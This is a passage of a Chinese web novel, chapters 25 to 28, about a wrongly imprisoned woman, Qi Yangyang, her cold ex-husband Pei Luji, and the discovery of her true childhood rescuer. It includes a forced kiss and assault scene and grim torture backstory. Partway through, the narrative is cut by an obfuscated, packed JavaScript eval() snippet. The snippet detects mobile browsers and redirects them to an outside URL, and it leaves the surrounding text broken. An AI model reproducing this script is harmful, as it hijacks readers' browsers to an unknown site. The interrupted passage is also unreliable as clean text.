他那么恨着她的姨母,连带着也恨她,又怎么会在意,她做的事情呢?是她太笨了,竟时至今日,才看清楚。 戚央央如今已经彻底不对裴陆戟抱有期待了,心死了,以前是她没有救他及时,以致他在死人窟遭非人折磨,致使如今这样的行事,她该负起这个责任没错。 但是时至今日,她觉得她太累,已经爱不动、帮不着他了。 她浑身松了下来,主动伸出双手对那些督察司派来的捕快道:“把我抓起快走吧,我想到牢里静静了。” 捕快把她抓起,裴陆戟又匆忙走过来道:“等等。” 他转而拿出一本盖过皇印的折本,对他们的指挥使道:“厉大人,我这里有陛下同意转交看管的奏折,陛下说,督察司开审的戚天明联合甄立康贪军粮饷一案兹事重大,嘱我大理寺严加看守犯人。” 厉指挥使看过后摆摆手让督察司的捕快松手,随后,裴陆戟拍拍手,门后不知从何时跟来的一大批大理寺衙差便蜂拥前来,将戚央央和甄氏捉拿。 戚央央突然觉得好笑,刚才她在路上遇见他,那时为何不知道,他忙了一整天直到现在才回府,还独自徒步回来,实则身后带着一群来抓她的衙差。 他就那么恨,以致于要亲自来锁她,才能泄心头之恨? 甄氏路过他身边时,凄婉地说了一句:“戟儿,我能跟你说几句吗?” 裴陆戟摆摆手,示意衙差将人带出屋后,然后暂时松开她。 甄氏泣道:“戟儿,央央之前同我说,你在羌北当俘虏时,曾救下她,所以,你是早在那年的十一月之前,就从那口石棺中逃出来了是吧?” 当年边境战乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14112125|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,裴陆戟的堂舅舅,也就是太子殿下的亲舅舅崔凯安作主将攻打羌北。 羌北杀了崔凯安不少士兵,崔凯安为复仇泄愤,将羌北王的小太子掳来大晋,将其束绑装进死人棺中,让他日日靠吃尸体腐肉而活,同时对他多般折磨,手段残忍,最后小太子被活活折磨凌辱至死。 小太子死后,激发了羌北王和羌北士兵的愤怒,连夜攻了过来,晋兵很快承受不住。 崔凯安因一时仇怨,挑起敌国愤怒,致晋兵于危难的事一旦被圣上知晓,那是非常严重的。 崔氏一族私下派人去安抚羌北王,结果羌北王发话,说要把大晋的太子送来当质,他们晋人怎么折磨凌辱他们羌北太子,他们也要让大晋的太子承受同样的苦。 太子殿下是崔氏一族的希望,他们不愿意交出,于是,身为表弟裴陆戟代替了他,被绑进一口巨大的装满死人的石棺中,送到了羌北,被羌北王安排放进活死人墓穴。 后来,六皇子作为监军来到羌北和大晋的战场,十一月初救出了大批活死人墓穴里的战俘,得了头功,却独独没救回裴陆戟。 六皇子说的是,石棺四周守卫森严,他攻不进去。 可若是,裴陆戟在十一月之前就救下戚央央,并且得到她相赠的玉佩的话,那就说明六皇子说了谎话,石棺里早已没人,他只是故意不救裴陆戟。 “你别怪我把这件事告诉了你父亲,其实这几天我跟你父亲一直在调查当年的这件事,为的是要给你讨回公道,我和你父亲,还有你母亲之间的事,不是你想那样,总之,你别恨你父亲...” 听到甄氏说的这些,裴陆戟晃神了很久,但他很快收回心神,淡道:“我不会因为这个对你格外宽容的,一切只能公事公办,还有...” “我并无救过戚氏,玉佩是当时一个少年系在我身上的,六皇子的事,你们也别白费心机,不是你们想的那样,他不过是一个当年我自救的稻草,给他些好处,无可厚非。” · 戚央央被押到大理寺后,并没被关进漆黑的大理寺狱,而是被单独关在一个没有窗户的小房间里。 房间里日用的东西一应俱全,都是格外添置的,质量挑好的,有床,床上被铺都有晾晒过的感觉,舒适松软,就是房里暗了些,平日里不掌灯,里头就是漆黑一片的。 戚央央被关进去的时候,姨母就从她身边过,被人羁着往大理寺狱的方向去,甄氏小声同她说了句:“央央,你别难过,母亲替你问过了...” “他并不是当年那个救你出活死人墓的人,你...没做过对不起他的事,这些年来,你因着自己对他的愧意,对他多般爱护,年年月月侍药,还把嫁妆钱给他裴家军当军饷,一桩桩一件件,你并不欠他,是他,欠了你。” 戚央央听了甄氏的这番话后,眼泪哗啦啦流不断,连带着这些年来的感情和责任重担都流走了,浑身轻松了下来。 原来...他不是他。 不知为何,得到这一认知后,戚央央突然觉得裴陆戟就像那个,被她拿错的竹筒水壶一样,碍眼得很。 25-30 第25章 他慌张得差点摔倒 裴陆戟要同都察院那边的人交待清楚, 耽误了些时间,回到大寺衙门的时候,戚央央已经被关进去许久了。 他在路上听得属下对他说, 甄氏和戚氏在羁留室门外短暂交流过一阵时,他脸色大变, 神色慌张匆忙往大寺衙门赶。 “不是交待过你们, 让她们俩分开羁押吗?怎么就让她们说上话了?!” 裴陆戟阴着脸, 赶回衙门时, 已经到了下钥的时间了。 “启禀大人,衙门后院已经落锁了, 管键人刚散值走了。” “去找人把钥匙拿回来,这段时间给本官配一把钥匙。” “是。” 这里的衙役都知道裴大人隔三岔五都会把衙门当成家, 但大多数是留在堂屋旁的值更房处些公文罢了,入夜后甚少审犯, 如今却连牢狱钥匙都要上了, 看来日后跟着他当差的同僚可就惨喽, 大概要连轴上了。 衙役去把钥匙追回来, 正悄悄默哀着,裴大人就已经接过钥匙, 疾步匆忙往□□去。 问过了今日当值的衙役,得知戚氏被关在左边第三间小室, 未等身后的下属跟上,裴大人已经朝左边第三间室走去了。 许是走得太急,路又太暗, 路过跨院那片青苔地时,裴大人还被滑了一下差点摔倒,幸亏及时抓住廊边围栏。 身后赶来的人慌忙叫起这院中的衙役, “都干什么吃的?没看见大人来了?还不赶紧掌灯!” 原来已经睡下的衙役吓得赶紧披衣出来,灯亮起,一些人躲在后方私语起来:“裴大人今日是怎么了?先前也不是没有大晚上来过这里,他不是闭着眼睛就能躲开那片青苔吗?” “嘘大人今日羁押的是他的夫人哦不,前夫人,今日刚刚签下和离书了。” “就是那个满京城人都知道的,缠了大人好几年,闹得满城风雨,最后大人被逼娶了的那位吗?” “是听闻十几年前她父兄贪军粮饷,才导致十二年前车壁大役死伤惨重,她父兄也是在那一战中身亡,报应啊!” “后来戚氏的母亲也抑郁而终,她才会来京城投靠大人家,大人的继母便是她姨母,听说她姨母拿自己流掉的孩子说事,逼迫大人娶了她甥女。” “那真是不是一家人不进一家门啊,大人估计恨极了这两甥女” 那边议论得正投入的时候,裴陆戟突然走来,阴着一张脸:“宋羽,把这些人押下去领罚打三十板子!” “是,大人!” 那三两个衙役惶惶然跪倒。 戚央央抱膝坐在暗房的床上,背靠着阴冷的墙,一言不发。 裴陆戟掌着灯进去,让后面的人守在外头,他关了门,擎着灯往旁边的椅子上坐了下来。 “吃了没?” 戚央央以为他又要开口对她冷言冷语,没想到却是问了这句。 她撩起眼皮诧异地看他一眼,他看见她眼底没有波澜,像是在看一个无关痛痒的人的眼神时,心脏刺痛了一下。 果然 她轻轻开口道:“晚上的洗尘宴是等你回来才开始的,自然没吃。” 打自接触到她那个目光后,裴陆戟便不大敢瞧她的眼睛,袖里的手抖得厉害,他轻笑了一声把灯放下,两手交握着用力捏紧自己的手背,才能勉强控制着它不抖动。 “路上我见有小贩挑着担子准备收摊,我买了几个包子,蒸热了的。” 他从怀里掏出那包一直被捂得暖暖的包子,递到她面前。 戚央央不明白他到底什么意思,但如今她知道他不是自己当年要找的恩人,人淡如菊,对他是一点发问的兴致也提不起来了,“大人自己吃吧。” 声音平静疏离得跟什么似的,裴陆戟愕了一下。 “你不恼我?” 他没来以前,戚央央一直独坐黑暗中思考着事情,想着要怎么做才能救姨母,想着被她辜负过的那个救命恩人,此生还有没有机会见着了,忙得很,他突然走进来跟她说话就很烦。 可她知道大寺狱这边现在是他说了算,想救姨母或许要从他身上着手,这才不情不愿地看向了他:“裴大人,你派人来捣了我给你办的洗尘宴,当着众人的面跟我和离,逼我姨母和离,是希望我生恼?” 看着烛火下她清澈可见火光摇曳的眼睛,他错愕。 这会儿突然想起来刚才在国公府,督察司捕快和大寺衙差闯进去抓人,把满庭绉纱灯盏都踩烂,门庭前那些精心摆布的花卉盆栽都掀翻、踩碎了,花瓣零落泥沙外翻的情景。 “我”他一时间觉得有股酸涩闷在胸腔,怎么也宣泄不出。 那方的戚央央已经开始闭上眼睛酝酿情绪,可惜酝酿了好久,她终究找不回不久前对他的那些牵肠蚀骨的感觉了。 “抱歉,我我再试一次。” 她努力地想找出一丝对他因爱生恨的感觉,好表现出来让他快意恩仇,说不定他就能答应她要求,可惜她努力了很久,最终只能挤出一丝哭笑不得的感觉。 “裴大人我我恨你,很恨很恨。”她自己说完这话,都感觉没劲极了。 裴陆戟看着她,心底没由来腾升起一股恐慌,手脚冰凉,身体如堕寒窟。 为什么刚才在国公府的时候,她明明还 那时她尚且会看着他亲手毁坏她所做一切而伤心、难过,他心里虽不舍,但还是明白,那是因为对他还有情,她才会那样的伤心。 可是为什么呢? 难道就真的因为,知道了他不是她当年要找的那个人,就可以彻底抽身得这么快吗? 之情戚央央在他面前曾失口说出,他对她有救命之恩时,他就已经开始提了心,并且安排了残影下去查探,当时查探出戚家当年确实有派死士悄悄潜入敌军的俘虏营,想要偷偷救出一个战俘。 只可惜,羌人哪有那么容易对付,戚家派出的死士无一不死在暗道里,悄无声息的,戚家也连一个战俘都救不出。 戚家女前脚刚刚从活死人窟出来,后脚没多久戚将军就明知是死局也要派死士潜进,不是为救至亲的话,就只能是替至亲报恩,救出对至亲有救命之恩的人了。 裴陆戟这些日子里隐隐有些预感,他总觉得,戚氏喜欢他、掏心掏肺待他好,兴许不是无缘无故的。 他一直都有这种感觉。 只是他不愿意相信,也接受不了。 看着他在失神,戚央央用手在他面前晃呀晃,把他唤回来,“大人,我很清楚,我爹和兄长他们不是那种会贪军饷的人。他们早在十几年前那场车壁大役中丧生,拼尽最后一兵一卒,也不肯投降,这样的人怎么可能贪呢?” “可偏偏这桩案子却要在他们死后十几年才突然说查出,平添我父兄一个污名,想必也对你没什么好处,我一早答应与你和离,想必你也不必费尽心思用这种事逼我。” “只有我姨母,你大概是恨极了她,不愿她再留在国公府,你若想报复她,最好的办法就是让她最在乎的人伤心,也就是让我伤心,让我父兄背上污名是让我伤心最好的办法。” “大人你成功了,我现在确实无助极了,也很后悔浪费了十年的时间在你身上。只要你一日不杀掉我,我也会拼了命去与你对抗,但你觉得你浪费了人生那么多年来仇恨、去报复,真的值得吗?人生有几个十年?” 她怨是怨的,但她的这种怨怼,出奇冷静和智,掺杂不了一丝感情,这不是他愿意看到的。 “你的意思是”他低下头,嘴角是僵硬的,“让我杀了你,一解心头之恨,助我消除仇怨,是吗?” 他靠近她的时候,看见她下意识皱眉,将身体后挪半寸。 这种下意识的行为不是畏惧,也不是曾经爱过多强烈的恨意,只是像时人不喜肮脏蝇蛆般厌烦的抵触罢了。 他双拳紧攥,不死心地朝她凑近,伸手拽过她的领口,将她拉近自己,低头强行吻下去。 戚央央起先是激烈抗拒,到后来自知力气抵不过他,已经十分知时达务地放弃了抵抗,保存气力。 只是,她的唇一直厌恶地紧抿着。 裴陆戟难以承受,伸手将她揽入怀里,像往常她喜欢的那样吻她、轻贴着她。 明明明明在淮东的那时,她还会为了哄他把药吃了,不惜把那颗他从喉咙里抠出来扔在牢狱地上,沾满泥灰的药含到了嘴里,温柔耐心地一点点撬开他唇,和他唇齿相交。 可是现在现在 戚央央紧闭着双眼,闭严唇齿,不论他怎么碰触,就是死死不让。 谁知他越是得不到,就越是疯狂地对她使出各种花样,墙壁上二人的影子都几乎融合为一,她仿佛在经历着一场殊死的搏斗,死也不愿意让他得逞。 最后她感觉他冰凉的指尖抚上了她背脊的皮肤,心底的那种厌恶的感觉腾升至最大,力气一下子就上来了,猛地挣脱掉他手的禁锢,伸手抽掉发间的簪子,用簪尖对准了他。 尖锐的簪尖没能成功刺破他喉咙,在即将刺中他脖颈紧要筋脉时,被他用手心挡住,可簪子却直直扎进他手心,鲜血流了一床。 央央浑身抖个不停,身子还在为被他碰触过哪些地方而排斥不已,然后就感觉到他紧贴在她锁`骨上的脸庞,沾了些冰冰凉凉的液体。 他先是浑身变僵,随后头伏在她肩上大笑起来,笑得带动她身体也一抖一抖的。 她眉头皱了皱,不知哪来的力气,嫌恶地一把将他推开,自己趴在床边抵着胃恶心地呕吐。 第26章 他不断地笑,笑出了眼泪…… 高桌上放着的那袋包子掉了下来, 里头的包子从黄油纸包里滚出,滚得四下都是。 桌子边灯台的光烛摇曳不断,火光忽明忽暗。 床边, 一个人在趴着,极其恶心地干呕着, 却没能呕出任何东西, 而另一人, 则被推在角落里, 阴暗处,低着头, 笑出了声。 裴陆戟伸手抵住墙角,看着戚央央呕吐的身影, 不断地笑,笑出了眼泪, 掌心处被扎出的血还在不断从他紧攥的手心中溢出, 湿滑的, 冰凉的。 那支情急之下扎伤过他的簪子, 此时正孤零零躺在床脚处,刚才簪子落下时, 簪尖处的血正好溅在了一旁滚出的包子上,火光下白的、红的格外骇目。 “你现在觉得我恶心了, 是吗?” 裴陆戟停止了笑,道。 “那你当年抓着我的手,不管我怎么骂你, 你都不肯离开,在黑暗里你抱紧我,你说不管别人怎么想, 我都是你最喜欢的裴哥哥,你还说,你会陪我一生一世,至死方休,怎么这些原来都是假的?” 他所处的位置昏暗,火光照不到。 戚央央恶心吐了个半天什么也没吐出,这时候反应过来自己做了些什么,她蹙了蹙秀眉,抬头看向角落里的人。 “落入大人手中,我没什么好说的了,是我自己眼神不好,我认栽。要不你杀了我,不杀的话,能把我跟姨母关一块吗?她的腿以前跪过雪地,有寒腿,牢里阴潮湿冷,我想去给她按按腿舒服些。” 她突然提这桩,是因为当年戚氏曾为了裴陆戟的病,亲自上鹿台山的观音庙去诚心跪拜过。 鹿台山的观音庙是大晋出了名灵验的寺庙,但因为那里山势颇高,且常年下雪,大雪覆盖山体,能忍受得住且前往跪拜的人实际寥寥无几,可甄氏为了要上那里上香,不惜欺骗英国公说是回乡祭祖,独自前往。 后来因为山上天气恶劣受不了晕倒被抬回来,虽说姨母上山辛苦求来的去病符被他事后弃如敝履地扔进湖里,但姨母的的确确是为了他诚心而求,心意是真的。 “姨母她以前一直不敢对你说,也不许我跟你说,但是现在,我觉得有必要让你知道。” “虽然我不知道你亲生母亲崔氏和英国公之间的事情,但我知道,我姨母是在我五、六岁的时候,就明媒正娶嫁到京城去的,我还上过姨母的花轿去陪她说话,我问她,外边的人都说她成亲没有新郎来其实是嫁过去做妾,我问她是不是。” “姨母就笑着告诉我,她说她要嫁的郎君,是成过亲的,但是认识她以前就已经和离了,他和他的前夫人之间还有一个大不了我几岁的孩子,那位郎君不忍心看他们母子分离,而且当时他的前妻与娘家之间有些矛盾,他答应在外暂时跟她假装没有和离,然后各自过。” “姨母说她委屈一点没关系,因为那位郎君是真心值得她托付的,他们是有婚书,且婚书去官府办过登记的,是真正的夫妻,可刚嫁过去头几年,只能住在外面的宅子里,像个见不得人的外室,正式的婚礼还是在几年后,姨母被诊出有了喜脉,才办的。” “我从前有听府里的人说过,说姨母肚子里的孩子是被你害没的,但是后来这些下人都被姨母处置了。姨母叫我不要去轻信这些事情,但我明白,当年我想嫁你,姨母被逼得实在没办法了,就是用这件事让你娶我的,是吗?” “你恨姨母,恨她夺走了你母亲的东西,恨她破坏了你的家,恨她用当年她流走的孩子逼你娶我但是你没有想过,你的父母早在我姨母出现之前,就已经和离单独过日子了,姨母她逼你娶我,确实有错,但你不是也害她流掉一个孩子了?至于你厌恶我还得逼着跟我捆绑一起那么久的事” “那是我的错,你朝我来,你放过我姨母好吗?” 听完她说的这些话,裴陆戟只觉口中苦涩,胸腔里翻山倒海般的难受。 “你只能留在这。” 他从床边起来,顾不上手心的疼痛,慌张失措地捡起地上沾过血的包子,冲出房间。 可当他走出房间,带起屋里一阵劲风,烛火快将熄灭之际,他又突然回过头。 昏沉中,戚央央看不见他的神情,只听见他声音冰凉地道:“你姨母我没让她一直留在大寺狱,已经转到你旁边的羁留室了。” 听见他这么说,戚央央总算安心下来。 · 被关押在大寺衙门的这段时间,日子倒是不难过,就是每日定时有人过来问她记不记得小时候她父兄的一些事情,然后就离开。 伙食方面倒还还好,三荤两素,比不得在国公府的时候,但菜都是她爱吃的,而且尝着这大寺伙房厨娘的手势,竟跟国公府厨子的味道差不多。 判罪的公文书在一旬之后出来,她和姨母被判流刑,要被流放到最苦寒的地方,流刑之前还得坐上刑车去游街示众。 戚央央原来一直想着和离之后找个山清水秀,四季宜人的地方居住,没想到恨极了她的裴陆戟,已经率先一步给她找了个截然相反的。 “陀州挺好的,那边天冷,以后我跟姨母去那边卖袄子,卖厚实一些的袄子,听说那边襄接北陵国,要是我们的袄子能卖到那边去,不愁吃喝的。” 她在羁留室里同送饭来的婆子有一句没一句地聊着天。 在这里做事的人其实都认识她,以前天冷,裴大人不愿意坐马车回去,都是这位戚氏擎着伞来接的。 大多数人都觉得裴大人心挺狠的。 但只有最近负责照顾戚氏起居的人才知道,裴大人给戚氏安排的东西有多细致。 就像是这小小一间暗室里的东西,桌椅和床都是用上好黄花梨木做的,保证坐着结实,睡得沉稳。这里光线不足,戚氏可能无法看清楚,只有亲自打过这些的人知道。这里以前有些砖块已经翘起,容易将人绊倒,也是裴大人自掏腰包让人赶工将砖块更换过新的。 婆子看着戚央央,也不知道有些话该不该说,临走还是忍不住说了一句: “裴夫人依老奴看若你落在督察司的牢房,那可能是一口热饭都吃不上的,所以吧你也不用太担心流放的事。” 戚央央一脸莫名,早已经对裴陆戟不抱期待的她,自是无论如何也想不到那婆子是在同她暗示热饭同裴陆戟有关系的,她只是单纯地认为,她该感念大寺里心善的衙役和下人,许是她以前经常来大寺时,同这些人打好了关系所致。 下午,督察司派了人来监督罪犯游街,刑车已经来到大寺衙门外。 “裴大人,听说你这几天亲自到圣上面前去,把这游行和流放的时间往后延,才拖至现在,你该不会是心软了,在想办法救你夫人吧?” “厉大人慎言,我与秦家已定下婚约,戚氏她戴罪之身,已经同我和离,厉大人别再把‘夫人’二字挂在嘴边,以免生起不必要的误会。” 看他俊雅不凡,器宇轩昂的样子,厉道蘅也想不到他竟薄情如斯,曾经的发妻,因为连坐成了罪人,他说和离就和离,转头就跟人定下婚约。 “不是就好,那就劳烦大人把犯妇人押出来,时候不早了。” 厉道蘅再次催促完,见他还不动如山地杵在门口,没叫人去解押,也没说话。 这时候,皇城司的人急匆匆跑来找他,往他耳朵边低语了几句,厉道蘅脸色大变。 “厉大人,可是突然有紧要之务要先处?”裴陆戟黑眸轻撩,淡淡道:“押犯游街只是小事,我们大寺不是不知道流程,有要务你就赶紧去吧。” 厉道蘅看了看他,皱着眉只好答应。 他走后,他才让人把戚央央和甄氏带出来。 给她两锁好镣铐后,裴陆戟盯着二人看了好久,随后道:“毕竟曾是国公府家眷,给她们戴上头套吧。” 所谓头套,就是在麻布袋上挖了透气的孔,然后罩在犯人脸上,是朝廷给一些曾经有过功劳,但是后来犯了事的朝廷官员在游街时准备的体面。 但戚央央知道,他只是不想国公府丢脸。 本来他要亲自带她们去游行,但后来衙门突然有个案件,急需裴陆戟去定夺。 裴陆戟皱起了眉:“找张大人不行?” 谁知他话一落,张白石人已经从衙门出来了,“这个案子比较复杂,还是得劳烦裴大人前去办一下,你这里我替你,不就是带罪犯游街嘛?” 这下没法子了,裴陆戟只能下去办案,临走还用目光凉凉地瞟了张白石一样,“爱凑热闹的人” “容易被自己害死。”他语调平淡,听在张白石耳边却异常刺耳。 他强压下心底那股未知名状的惊惶,作死般笑笑回应道:“没事,裴大人多虑了。” 裴陆戟意味不明地再看他一眼,然后离去。 他离开后,张白石才大汗淋漓朝囚车走过去:“给她俩松绑,快,都有囚车了,还绑人做什么?多此一举!” 小役为难了地看着他没动,张白石又道:“怕什么?她们两个手无缚鸡之力的女子,游个街还能跑了不成?有什么事我担着,快!” 第27章 他就是个畜生 小役依言给戚央央和甄氏松绑。 一路上, 张白石骑着马不远不近地护在囚车旁边走,边跟甄氏和戚央央说着话: “裴夫人,裴少夫人, 国公爷叫我来的,他已经在想办法救你们了, 别害怕。” 甄氏被英国公护了一辈子, 这会儿落得如此境况, 倒也随安而遇, 处之泰然。 “张大人,你替我转告爷一声, 他有头疾记得吃药,万事不要太操劳, 上回他进殿,已经惹过圣上不快好几次了, 你让他, 不能再为我的事, 得罪圣上了。” “这些年来我为了他的孩子, 已经亏待我甥女已久。” “他儿子就是个火坑,而我明知道, 竟然还抱着侥幸,让我甥女去救赎那个火坑!后悔我真的后悔了!当初我就该死活不让央央喜欢上她的, 结果人家反倒不认我们的好,什么为了高攀,为了稳固自己地位, 我呸!我娘俩去嫁给泥腿子种田去,才不稀罕什么深门大宅!簪缨世家!” 甄氏把这些时日来的憋屈都宣泄出来,随后又哭着抱着戚央央道:“央央, 母姨母知道你伤心,难过你就哭出来吧,姨母知道你不好受,但是,你得认清他裴陆戟就是个畜生,畜生是没有感情的,不管你对他掏心掏肺,做什么都没用,知道吧?” 戚央央被她姨母紧紧抱着替她难过弄傻了,反过来轻轻一拍甄氏后背。 “姨母你别难过,我真的不伤心。当年的事怎么能怪你呢,当年是我死活缠着你,说要一辈子陪着他的,你只不过是拗不过我,又不愿意让我当妾罢了。” “你果真不伤心?”甄氏移眼看她。 “不伤心,已然知道他是哪一种人,做这种寡情薄意之事不是很正常吗?” “不难过?” “嗯,只是难过姨母受了累,还有我爹娘因为我而背上了污名。” 甄氏见她说话的时候不像在开玩笑,虽说她之前的确跟她坦白过,是因为误以为裴陆戟曾救过她,才会情根深种,但人非草木,十年之长的付出,感情又怎么能说没有就没有呢? “张大人,上回你给我的钥匙,我没能找着机会还给他,后来又在大寺衙门的人来抓我时掉了,应该就是掉在国公府附近,你能帮忙找回来还给他吗?” 张白石看着戚央央沉静的眼睛,哀叹了一声。 他也不知道裴陆戟这厮到底脑壳里在想着什么,明明在淮东的时候,虽然人忒不诚实了一点,至少人也没到坏透的程度,他预料到这人迟早要吃感情的苦,可谁也没想到他回来京城后,竟然干出这种事。 督察司翻查这种陈年旧案,资料都得经他手,太子殿下若想督察司给戚家安个什么罪名,没有裴陆戟,他们也是办不了此事的。 裴少夫人她爹生前是荆王的人,裴陆戟这畜生竟然为了帮太子,让督察司强给戚家和甄家扣下罪名后,又假惺惺自己扣押裴少夫人和甄氏,狱中优待些就能磨灭他干的坏事吗? 依他看,这家伙就是活该! “好!裴少夫人,我帮你找回来,然后当着他的面扔掉,这种人不该可怜!” 戚央央改正道,“以后叫我央央,或者戚姑娘吧。” · 罪犯游街安排游的是西街市,这时候西街市刚开始,往来的人熙熙攘攘,衙差必须到前方先敲响锣鼓开路,然后才能让囚车通过。 此时街道两旁挤满了看热闹的人,而在这些看热闹的人群中,却暗中蛰伏着一群看来训练有素的人,他们伪装成普通平头老百姓的模样,悄悄等待着时机。 张白石走到一半的时候,感觉到不对,立马勒令囚车停下,往回让人多加派了人手。 裴陆戟在府衙处案子的间隙,抽空见了暗卫残影。 “是荆王的人吗?” “禀主子,是的,而且照形势看来,他们今日大概也不敢轻易动手了,因为张大人加派了人手。”残影道。 裴陆戟轻撩衣袖提墨书写结案书,“就算今日张大人不去,他们也不会轻易动手,但有可能会趁机引起纷乱,然后找人给戚氏和甄氏传递信息,再把纷乱引到别处,声东击西。” “今日本来要去的人是我,我已经帮那些人把督察司的人引开了,张白石那家伙倒好,非要上赶着去,这下失职的人便是他而不是我了。” 他轻轻叹息道。 这会儿,西街市那边已经被一群不知从何涌入的流民弄得人仰马翻,百姓被提前撤走了,倒是没受任何伤害,张白石和一并衙门的人却受了不少伤,最后囚车快将被那些贼人劫走的时候,张白石拼死与之相抗。 后来衙门又来了一批人前来帮忙,却反倒不慎让那些贼人钻了空子逃走,只留下一个似是而非的信物。 张白石最后虽然好不容易将犯人平安带回大寺,却还是失了职,让那些不明来历的人逃走了。 回来的时候,他气冲冲地抓着信物跑去找裴陆戟。 “今日之事,裴大人怕是早就谋划好了的是吧?还是说其实那就是裴大人你暗中算好在推动的?后面衙门来的那批人得到消息都是相反的,从那个方向过来拦截,不但不能成功拦截贼人,还等于搅乱局势好让那些人趁机逃走,是大人你安排好的吧?” “别忘了,让衙门遣人来的人,是张大人你,消息传错那也只能是张大人自己的错。” 裴陆戟道。 张白石气道:“你和那些贼人是何关系?那些贼人是谁的人?” 他将手里那个信物扔出,“你帮着他们逃脱,他们却反过来栽赃你英国公府,不知道裴世子可知晓不?” 裴陆戟还在偏间安静写着结案的陈词,气息沉定道:“提醒过你的。” “什么??”张白石气急道。 “爱凑热闹的人容易被自己害死。” 裴陆戟眼睛都没看他一眼,定定地写完了最后一个字,收笔。 张白石安静思考了半晌,捋清了这些事的前因后果,始终丈八和尚摸不着头,道: “可你这到底是何意?虽然我不清楚十几年前戚将军是否真有贪军粮饷,但督察司要查这事,没了你他们怎么能查得到,我以为你为了上位、为了帮助太子殿下拿到实权,连自己夫人都坑了,毕竟你那夫人戚氏,她爹生前就是荆王手下的将军,把戚家和甄家拉下水,也就等于帮太子殿下铲除了荆王这个敌人。” “可是为何你为何今日来的那些人是荆王的人吗?游街一事,事前只有我们和督察司的人知道,而且是机密,等到游街当日才知道的,你故意泄露消息引荆王前来救人?” “等等你这是让我再想一想”张白石挠着头,在案几前来回焦急走动着,最后终于站定,瞪大眼睛道: “你!你是不是怕自己在帮太子殿下做的事会引起荆王猜忌,裴夫人和裴少夫人如今是英国公府的人,但曾经也是戚家和甄家的人,多多少少定会知道一些荆王军中的事,你怕荆王会对她们下手,才让她们与英国公府割断关系,这样反倒打消了荆王的疑虑,她们还能因此受到荆王的庇护,是吗?” “你想太多了!”裴陆戟终于不满地敲了书案,“张大人还是好好想想,该怎么给上峰交代,你失职之事吧!” “至于那贼人故意误导留下的信物,”他一把从张白石手里夺过那刻着英国公府徽记的木牌子,“我会处好,你若胆敢声张,我保准圣上不会怪罪我,而是会怪你多事,信不信?” · 戚央央握住沐江恩刚才在混乱之下乔装冲来囚车边,强塞给她的纸条,心脏砰砰直跳。 沐江恩是来告诉她,流放之日他和王爷已经安排好前来接应她们的人,以及救她们出去的人的特征,大概会在什么时候动手,让她们届时不必慌张的,和需要做什么来配合。 为了得到她的信任,沐江恩还附在她耳朵旁,悄悄地同她说道: “那朵鹅黄色长在墓穴角落里的花,你知道它是什么花吗?” “金丝莲,它叫金丝莲。你还记得我吗?那时我们一起在墓穴里守护过同一朵花的,当时在死人窟的时候,我就认出来你是戚将军的宝贝闺女,但见你没认出我,我就没说,上回我们相遇,你也没认出我来。” 混乱之下,他还有心情对着囚车里的她笑,笑容跟十几年前一模一样,“以前我救了你一命,这一次,你的命依然由我来救。” “别害怕,也别放弃,知道吗?小丫头。” 他隔着囚车把手伸进去,往头套上,把她的头揉了一遍,像十几年前那个温柔的小哥哥一样,连对她的称呼,也是一模一样。 他都不知道,在那一刻,头套下的人一直在盯着他看,早已经两泪汪汪、泪流不止了。 第28章 他心脏再一次密密扎扎疼了起…… 在囚车上的那一刻, 戚央央隔着囚车和外面熙攘喧闹的人群,她多么想问她的小哥哥一句,当年她失约了, 没立刻让人过来救他,他当年到底是如何脱困的, 又在里头代替她遭了什么样的罪。 可他交代完该交代的事, 很快在衙门的人察觉到他之前, 迅速消失在人群。 原来他就是沐江恩, 还是小时候就有过几面之缘的沐叔叔的儿子,她寻觅了这么多年, 竟然今时今日才知道! 若是一早就得知,兴许她就兴许她就 她或者就不必耗费十年之长的时间, 去追逐一个根本不可能会爱上她的人吧。 十年那么长的时间,终究还是错付了、浪费了。 晚上, 当裴陆戟拖着一身疲惫, 再次进入她的羁留室, 她已经睡下, 却又被吵醒,回想起来自己现在身在何地时, 又开始装睡,懒得再应付他。 “后日, 你就要启程前往陀州了,父亲让我把这些东西给你们,你若不要, 我扔了便是。” 闻言,戚央央立刻坐起来。 她如今虽然厌烦裴陆戟此人,但前往陀州一路, 即便沐江恩会前来劫走她们,也难保一路难走,身上若能备些东西总是好的,英国公给的东西,她没由不要。 裴陆戟见她不装睡了,把那袋包裹抱在怀里,故意拉椅子靠近她坐。 “你恨我吗?”这是他第二次问。 戚央央希望能早早应付完他,点点头毫无诚意道:“恨,很恨。” “东西给我,大人你可以走了。”她朝他伸手要接物。 可裴陆戟嘴角轻扬,把怀里那袋东西移远了一些,“什么时候撒谎这么厉害了。” “我看,你现在是连恨都懒得恨我,因为我已经是无关紧要的人了,是不是?” 灯影突然一暗,遮盖了他眼底的悲怆。 不知为何,人明明是他故意试探的,当初甄氏套他话时,他不是不明白,但他当时鬼迷心窍地,就想要验证一下,戚央央待他的感情是因何而来。 如今总算验证过,也得到了答案,他又开始承受不住了。 还是不该验的,他悔了,但还是没能阻止她俩碰了面,可当知道她得知了,心里又隐隐有所期盼,期盼着就算她知道他不是,也不影响她对他的感情。 可终究他还是错了。 “戚央央,若我这回把你救下,助你脱此困局,以后待你好些你能回心转意吗?” 戚央央皱眉,已经对他很不耐烦了,“裴大人若是不想给,拿走吧,或者把东西给我姨母,我真的很累想睡了。” 没想到她连听他说一句话的耐心都没有了。 裴陆戟自嘲一笑。 她和以前强烈的反差,让他产生了巨大的挫败感,他被打击得连告诉她这些事的心都没有了。 “打扰了”他把包裹留下,转身离去,刚离开几步,犹豫了一下,又转身回来。 戚央央眉头皱得更紧了。 “这东西还你。” 央央伸手接住一块萤石。 可这并不是她之前送给裴陆戟的那块,之前她送给他的那块,他早已经送给秦姑娘了,上回连赵安然都能随随便便借来看,拿着它当面奚落她,她怎么可能不知。 